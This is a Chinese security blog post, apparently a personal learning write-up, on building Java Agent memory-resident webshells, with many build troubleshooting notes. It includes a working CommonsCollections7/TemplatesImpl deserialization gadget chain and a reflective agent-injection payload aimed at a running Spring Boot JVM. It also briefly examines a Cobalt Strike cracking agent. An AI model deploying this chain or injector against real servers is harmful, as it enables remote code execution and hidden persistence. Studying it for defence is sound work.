0%

Java Agent内存马--从入门到踩坑

Java Agent内存马–从入门到踩坑

还是,再学点java。。。
主要是就着上次复现看看java内存马的实现,然后就看到了其中一种的java agent注入(但实际使用的多的应该还是直接反射调函数加filter,agent的操作要先写一个agent jar包上去,麻烦太多)
这个东西之前也见到过,两次,一次是burp破解,一次是cobalt strike破解
那个时候的理解大概就是这个玩意能注入进程进行hook之类的操作,这回仔细看看吧

简易环境搭建

就跟着先知上这篇文章吧。写的挺详细的
Java Agent 从入门到内存马
整体思路也是跟着这篇文章复制粘贴(当然还是自己动手写两笔,rmb神仙说了要多动手而不是多看文章)

premain && agentmain

java agent的实现方式就由如上两个函数展示。一个是在main执行之前执行,另一个是attach一个agent上去,临时执行agent函数

premain

最好理解的入门操作环节
premain就是在运行的时候指定-javaagent:xxx.jar,然后在那个jar包里写好一个premain的class,MANIFEST.MF里指明premain类。跑起来的时候就会在进入实际main函数之前先调用一下premain方法(这个名字也很明显),说起来莫名的想到bypass disable function时的LD_PRELOAD操作

这种手法估计在破解上使用的多,攻击上应该不好使,毕竟攻击的服务肯定已经跑起来了,不可能再让你加个参数重启一下

package org.z33.agenttest;

import java.lang.instrument.Instrumentation;

public class PreDemo {
    public static void premain(String args, Instrumentation inst) {
            System.out.println("hello I'm premain agent!!!");
    }
}

MANIFEST.MF

Manifest-Version: 1.0
Premain-Class: org.z33.agenttest.PreDemo
Agent-Class: org.z33.agenttest.AgentDemo

最后有一个空的换行(用idea的话没有换行会报错)

agentmain

相对实用的操作,在获取到了已经运行了的java进程后可以直接attach到那个进程上然后对其进行修改

这个操作,略微的有些麻烦,踩了一点小小的坑
agentmain的Class倒是和premain没什么区别,但是要额外创建一个attacher来把我们的agentmain给附着上去
理论上来说把attacher写到另一个项目里可能会更好一点,我这里直接偷懒全都塞到一个项目里

attacher

package org.z33.agenttest;

import com.sun.tools.attach.*;

import java.io.IOException;
import java.util.List;

public class Attacher {
    public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
        String id = args[0];
        String jarName = args[1];
        VirtualMachine vm = VirtualMachine.attach(id);
        vm.loadAgent(jarName);
        vm.detach();
        System.out.println("finished");
    }

}

agentmain

package org.z33.agenttest;

import java.lang.instrument.Instrumentation;


public class AgentDemo {
    public static void agentmain(String agentArgs, Instrumentation inst) {
        System.out.println("attach success");
    }
}

现在就可以运行需要被attach的jar包,找到pid(可以用ManagementFactory.getRuntimeMXBean().getName()来获取pid),运行attach jar进行agent注入

Instrumentation

这个才是java agent的核心,就是premain和agentmain的第二个参数

Instrumentation是JVMTIAgent(JVM Tool Interface Agent)的一部分。Java agent通过这个类和目标JVM进行交互,从而达到修改数据的效果。

通过使用ClassFileTransformer修改已经加载的类,无敌
有几个常用方法:

  1. getAllLoadedClasses 获取所有以及被加载的类
  2. isModifiableClass 查看这个类能不能被重新加载
  3. addTransformer 增加一个类transformer,之后所有加载的类都会被该transformer拦截
  4. retransformClasses 将已经加载过的类进行修改
  5. removeTransformer 删除已经注册的transformer

进行修改点的核心就是这里的ClassFileTransformer,其可以对java进行字节码层面的修改。说到修改字节码,就应该反应过来javassist,就算没反应过来也应该想起经典templateImpl中生成payload的操作,用的就是这个技术

需要使用ClassPool cp = ClassPool.getDefault();来获取初始的classpool,而classpool是CtClass的容器,所有的CtClass应该从ClassPool中获取。对字节码的修改就是在CtClass和CtMethod上进行的

然后经典insertBefore直接注入代码

首先简单修改一下我们的agent

package org.z33.agenttest;

import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;


public class AgentDemo {
    public static void agentmain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException {
        Class[] classes = inst.getAllLoadedClasses();
        // 判断类是否已经加载
        for (Class clazz : classes) {
            if (clazz.getName().equals(TransformerDemo.editClassName)) {
                System.out.println("Class "+ TransformerDemo.editClassName + " found");
                // 添加 Transformer
                inst.addTransformer(new TransformerDemo(), true);
                // 触发 Transformer
                inst.retransformClasses(clazz);
            }
        }
    }
}

现在agent的作用就是引入我们的transformer了,再实现一个transformer(这里先知那个文章的代码感觉写错了不少地方。。。不知道什么情况,可能防止后人复制粘贴吗。。。)
使用喜闻乐见的insertBefore,能防止破坏代码逻辑

package org.z33.agenttest;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;


public class TransformerDemo implements ClassFileTransformer {
    public static final String editClassName = "com.z33.test.Demo";
    public static final String editMethodName = "hello";

    @Override
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
        try {
            ClassPool cp = ClassPool.getDefault();
            if (classBeingRedefined != null) {
                ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
                cp.insertClassPath(ccp);
            }
            CtClass ctc = cp.get(editClassName);
            CtMethod method = ctc.getDeclaredMethod(editMethodName);
            String code = "System.out.println(\"hello before world\");";
            method.insertBefore(code);
            byte[] bytes = ctc.toBytecode();
            ctc.detach();
            return bytes;
        } catch (Exception e){
            e.printStackTrace();
        }
        return new byte[0];
    }
}

理论上就能让hello world项目在输出hello world之前输出hello before world了(事实上也是这样的,就是从代码到成功运行踩了一万个坑)

agent到内存马

这个是今天学习的主要目的。先知那篇文章到后面简单的讲述了内存马的注入过程,就是找到目标函数并用javassist进行字节码修改。整体似乎没有太大的问题。不过与此同时我还看了ha1师傅的博客,他的博客里提到了一个我觉得应该考虑的问题。

因为内存马注入实际上是在目标上执行我们的attacher,而该类在一般情况下不会被加载,但事实上该类又普遍存在于自带环境中,所以在attacher中应该进行额外的类加载以确保目标可以进行agent注入

复制一下代码并简单魔改,他的那个加载路径有点怪,把java home的jre替换成lib?我感觉应该就是在java home后面加上lib。。。

这样子就能保证不给自己加一堆buff也能运行了,也保证了远程直接用templateImpl之类的东西打的时候能不会出现class not found之类的事情
templateImpl的payload类

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.File;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.List;

public class AgentAttachClass extends AbstractTranslet {
    static {
        try {
            File toolsPath = new java.io.File(System.getProperty("java.home") + java.io.File.separator + "lib" + java.io.File.separator + "tools.jar");
            System.out.println(System.getProperty("java.home"));
            System.out.println(toolsPath.toURI().toURL());
            URL url = toolsPath.toURI().toURL();
            URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{url});
            // 利用URLClassloader获取tools.jar
            Class<?> MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
            Class<?> MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
            // 反射获取VirtualMachineDescriptor和VirtualMachine
            Method listMethod = MyVirtualMachine.getDeclaredMethod("list", null);
            List<Object> list = (java.util.List<Object>) listMethod.invoke(MyVirtualMachine, null);
            //反射获取VirtualMachine.list()
            System.out.println("Running JVM Start..");
            for (int i = 0; i < list.size(); i++) {
                Object o = list.get(i);
                Method displayName = MyVirtualMachineDescriptor.getDeclaredMethod("displayName", null);
                String name = (String) displayName.invoke(o, null);
                //  反射获取displayName
                System.out.println("jvm name: "+name);
                if (name.contains("org.z33.springdemo.SpringDemoApplication")) {
                    System.out.println("target found");
                    // 对比name是否与需要注入的一致
                    Method getId = MyVirtualMachineDescriptor.getDeclaredMethod("id", null);
                    String id = (java.lang.String) getId.invoke(o, null);
                    // 反射获取pid
                    System.out.println("id >>> " + id);
                    Method attach = MyVirtualMachine.getDeclaredMethod("attach", new Class[]{java.lang.String.class});
                    Object vm = attach.invoke(o, new Object[]{id});
                    // 将 jvm 虚拟机的 pid 号传入 attach 来进行远程连接
                    Method loadAgent = MyVirtualMachine.getDeclaredMethod("loadAgent", new Class[]{java.lang.String.class});
//                    String path = "D:\\Java\\projects\\JavaAgentTest\\out\\artifacts\\JavaAgentTest_jar\\JavaAgentTest.jar";
                    String path = "D:\\Java\\projects\\JavaAgentTest\\target\\JavaAgentTest-1.0-SNAPSHOT.jar";
                    loadAgent.invoke(vm, new Object[]{path});
                    // 使用loadAgent注入
                    Method detach = MyVirtualMachine.getDeclaredMethod("detach", null);
                    detach.invoke(vm, null);
                    break;
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

不过这个路径不知道是不是不同环境会各自不同呢?
以及还需要考虑的一个问题是还得提前把这个agent jar包写到目标服务器上。有点麻烦(不过一开始的初衷只是学一下agent技术的来着,内存马我看大伙都说直接反射调用一些奇怪的接口加filter之类的东西写内存马的,和这种直接改字节码的还是有所区别)

SprintBoot不会写,幸好idea自带超级模板,这里直接复制ha1师傅的代码

把CC7和TemplateImpl缝合一下打TemplateImpl。为什么要缝合一下呢,我也不知道,就是想缝合一下试试

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CCTemplateImpl {
    public static Object getPayload(final String command) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClazz = pool.get(AgentAttachClass.class.getName());
        byte[] classBytes = ctClazz.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};
        TemplatesImpl templatesImpl = TemplatesImpl.class.newInstance();
        Field bf = TemplatesImpl.class.getDeclaredField("_bytecodes");
        bf.setAccessible(true);
        bf.set(templatesImpl, targetByteCodes);

        // 进入 defineTransletClasses() 方法需要的条件
        Field nf = TemplatesImpl.class.getDeclaredField("_name");
        nf.setAccessible(true);
        nf.set(templatesImpl, "name");
        Field cf = TemplatesImpl.class.getDeclaredField("_class");
        cf.setAccessible(true);
        cf.set(templatesImpl, null);
        Field tf = TemplatesImpl.class.getDeclaredField("_tfactory");
        tf.setAccessible(true);
        tf.set(templatesImpl, new TransformerFactoryImpl());

        final Transformer[] rubbish = new Transformer[]{null};
        //等会反射改,不然又打自己
        final Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[] { Templates.class },
                        new Object[] { templatesImpl } )};
        final Transformer transformerChain = new ChainedTransformer(rubbish);

        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();

        // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
        Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
        lazyMap1.put("yy", 1);

        Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
        lazyMap2.put("zZ", 1);

        // Use the colliding Maps as keys in Hashtable
        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 2);


        Field f = transformerChain.getClass().getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);
        // Needed to ensure hash collision after previous manipulations
        lazyMap2.remove("yy");
        return hashtable;
    }
}

这里踩了一个究极大坑,后续另开文章细说

照抄ha1师傅的agentmain和Transformer即可打通

踩坑

果然要多动手,一动手就踩了一万个坑。。。纯看文章不动手就不会踩坑了

启动时com.sun.tools not found

最先踩的坑是maven引入不了com.sun.tools这个包(理论上来说com.sun不应该是属于究极自带的包吗。。。)然后通过谷歌解决

<dependency>
    <groupId>com.sun</groupId>
    <artifactId>tools</artifactId>
    <version>1.8</version>
    <scope>system</scope>
    <systemPath>${java.home}/../lib/tools.jar</systemPath>
</dependency>

然后打包到jar(说起来这个打包的时候也没把tools.jar打包进去,伏笔)

运行时超级报错AttachNotSupportedException Class not found。继续谷歌,说需要加一个buff,指定路径吧就
-Xbootclasspath/a:D:\Java\jdk\jre1.8.1_311\lib\tools.jar
说起来我并不是很清楚我的java环境安装时发生了什么,我装的是jdk,然后安装过程中又单独让我再装一个jre,然后我的jdk里面有一个完整的jre,又有一个单独的jre,然后把我的环境变量指向了jre。嗯?

然后发现jdk下面的jre里有tools.jar,把他复制出来放到jre1.8.1_311下。。。太怪了

然后继续报错Provider sun.tools.attach.WindowsAttachProvider could not be instant

搜一下说是又缺dll,估计是已经到了native method的地步了。然后继续把jdk下的jre里的bin下的dll复制到外面的jre的bin目录下,跑起来了。感觉,是不是当初装环境的时候直接不装那个jre就用jdk下的jre然后环境变量也是对的就没有这么多复制粘贴的事了,所以当初那个官方installer为什么要单独又整一个jre呢?

然后使用这么长的buff成功把agentmain attach上去了

java -Xbootclasspath/a:D:\Java\jdk\jre1.8.1_311\lib\tools.jar -cp JavaAgentTest.jar org.z33.agenttest.Attacher 20 236 D:\Java\projects\JavaAgentTest\out\artifacts\JavaAgentTest_jar\JavaAgentTest.jar

这里还是有几个小坑,比如attach时指定的这个路径是相对于正在运行的java应用的,而不是我们的attacher,所以最好直接填绝对路径。毕竟是先attach到应用的jvm上再去load agent,所以应当如此

还有一个点是load了这个agent之后还是可以重复load,但是每load一次只是重新调用一遍agentmain方法,就算重新修改了agentmain方法再重新load也不会修改掉已经load进内存的agent,只是重新触发

解决了运行坑继续踩依赖坑

idea顶部栏和maven编译不同

因为写的简单hello world肯定不会自带javassist依赖,所以注入之后究极报错class not found。我一开始还在想我在maven中添加依赖了啊,为什么跑不起来呢。然后直接解压打包的jar,发现里面一无所有。经过简单的思索(排队打卡的时候无聊),我意识到可能idea顶部栏的build artifacts和maven的package可能不是一个东西。伏笔回收。原来还有这种事情,我是傻逼

简单搜索并配置后使用maven的package操作完成带依赖打包

带依赖打包的方法挺多的,随便复制粘贴一个(这里是将被注入的jar包把依赖打进去,agent那个jar包其实不需要打依赖,本身就不是在这里运行)

<build>
        <plugins>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-assembly-plugin</artifactId>
                <executions>
                    <execution>
                        <phase>package</phase>
                        <goals>
                            <goal>single</goal>
                        </goals>
                        <configuration>
                            <archive>
                                <manifest>
                                    <mainClass>
                                        com.z33.test.Demo
                                    </mainClass>
                                </manifest>
                            </archive>
                            <descriptorRefs>
                                <descriptorRef>jar-with-dependencies</descriptorRef>
                            </descriptorRefs>
                        </configuration>
                    </execution>
                </executions>
            </plugin>
        </plugins>
    </build>

从此以后只用maven配置的打包。。。果然还是要动手,顺便添加一下mainclass,免得次次-cp指定半天

然后如果要用maven打包agent的话,原来写的MANIFEST.MF也没用了,可以通过两种方式进行魔改,一个是再引用一下之前写的MF,另一个是直接写配置项,直接引一下写好的吧。配置项花里胡哨的写一堆挺麻烦

            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-jar-plugin</artifactId>
                <configuration>
                    <archive>
                        <manifestFile>src/main/resources/META-INF/MANIFEST.MF</manifestFile>
                    </archive>
                </configuration>
            </plugin>
        </plugins>
    </build>

maven package使agent无效

躺了一会,又踩了一个非常奇怪的坑。用上述maven操作打包的jar包无法被识别为agent包。报错和ha1师傅的并不一致,直接是无法打开或没有agent属性。简单看了下用顶部栏build的包和maven build的包的区别,MANIFEST.MF差不多一致,但maven编译的在META-INF下多一个maven目录。然后把他删了就又能把maven编译的这个jar当agent用了。什么玩意啊?
然后把maven里关于MANIFEST的配置从手写entry改成引用已经写好的MANIFEST重新package了一下又行了。并且也不用删那个maven目录了。并不知道发生了什么,但大抵就是很玄幻,未细究。。。。太奇怪了就

MANIFEST具体配置

似乎没有看到谁有提到过要加这句的,但是我在SpringBoot环境下不加这句会显示adding retransformable transformers is not supported in this environment,所以加上Can-Retransform-Classes: true

严肃的问题

如果远程环境没有自带javassist怎么办。。。。无论是一开始的简单hello测试,还是后来的SpringBoot内存马注入,都是我手动引入了javassist的。(一开始以为SprintBoot这种大框架可能内置了没引入,打了半天打不动,并且也不会报错说class not found,最后感觉这里有问题加了依赖才打通)
这个如果本身不属于jdk自带的依赖也没法像上面的反射加载tool.jar一样打啊。也没看到人提起过,麻

解决了,我是傻逼

感谢feng@Dest0g3师傅的指正
因为agent.jar是附着到目标jvm上运行的,把javassist打包进agent.jar就行了。。。我当初还说就是因为附着运行所以不需要打包依赖呢。。。实际上缺依赖的时候自己打好包就不依赖远程了。
并且agent的利用本身也就需要把jar包传到远程服务器上吧?实在不行也可以再传一个lib然后用classloader加载?再不济还能urlclassloader再远程加载一下之类的吧
把上述打包依赖和添加MANIFEST的操作缝合一下maven打包

            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-assembly-plugin</artifactId>
                <executions>
                    <execution>
                        <phase>package</phase>
                        <goals>
                            <goal>single</goal>
                        </goals>
                        <configuration>
                            <archive>
                                <manifestFile>src/main/resources/META-INF/MANIFEST.MF</manifestFile>
                            </archive>
                            <descriptorRefs>
                                <descriptorRef>jar-with-dependencies</descriptorRef>
                            </descriptorRefs>
                        </configuration>
                    </execution>
                </executions>
            </plugin>

看看CS的破解

把破解用的hook.jar拉下来反编译。也就两个类,一个hook,因为破解是启动的时候直接附着起来,所以直接写的premain,另一个类就是我们的transformer

直接把认证类替换成了他的字节码

    public byte[] transform(ClassLoader loader, String className, Class classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
        if (className.equals("common/Authorization")) {
            String base64class = "yv66vgAAADQBCQo......";
            System.out.println("Found desired class: " + className);
            classfileBuffer = Base64.getDecoder().decode(base64class);
        }

        return classfileBuffer;
    }

然后还配了几个看起来像是工具的函数。写个破烂还原字节码(实际上就是把字节码写进文件再idea反编译)

    public static void main(String[] args) throws InterruptedException, IOException {
        String base64class = "yv66vgAAAD.......";
        byte[] code = Base64.getDecoder().decode(base64class);
        FileOutputStream fileOutputStream = new FileOutputStream("result.class");
        fileOutputStream.write(code);
        fileOutputStream.close();
    }

然后并没有看懂什么逻辑。。。在认证中还进行了一堆额外的数据分析,要我说这种东西不应该直接干什么都返回true然后时间调个forever就行了么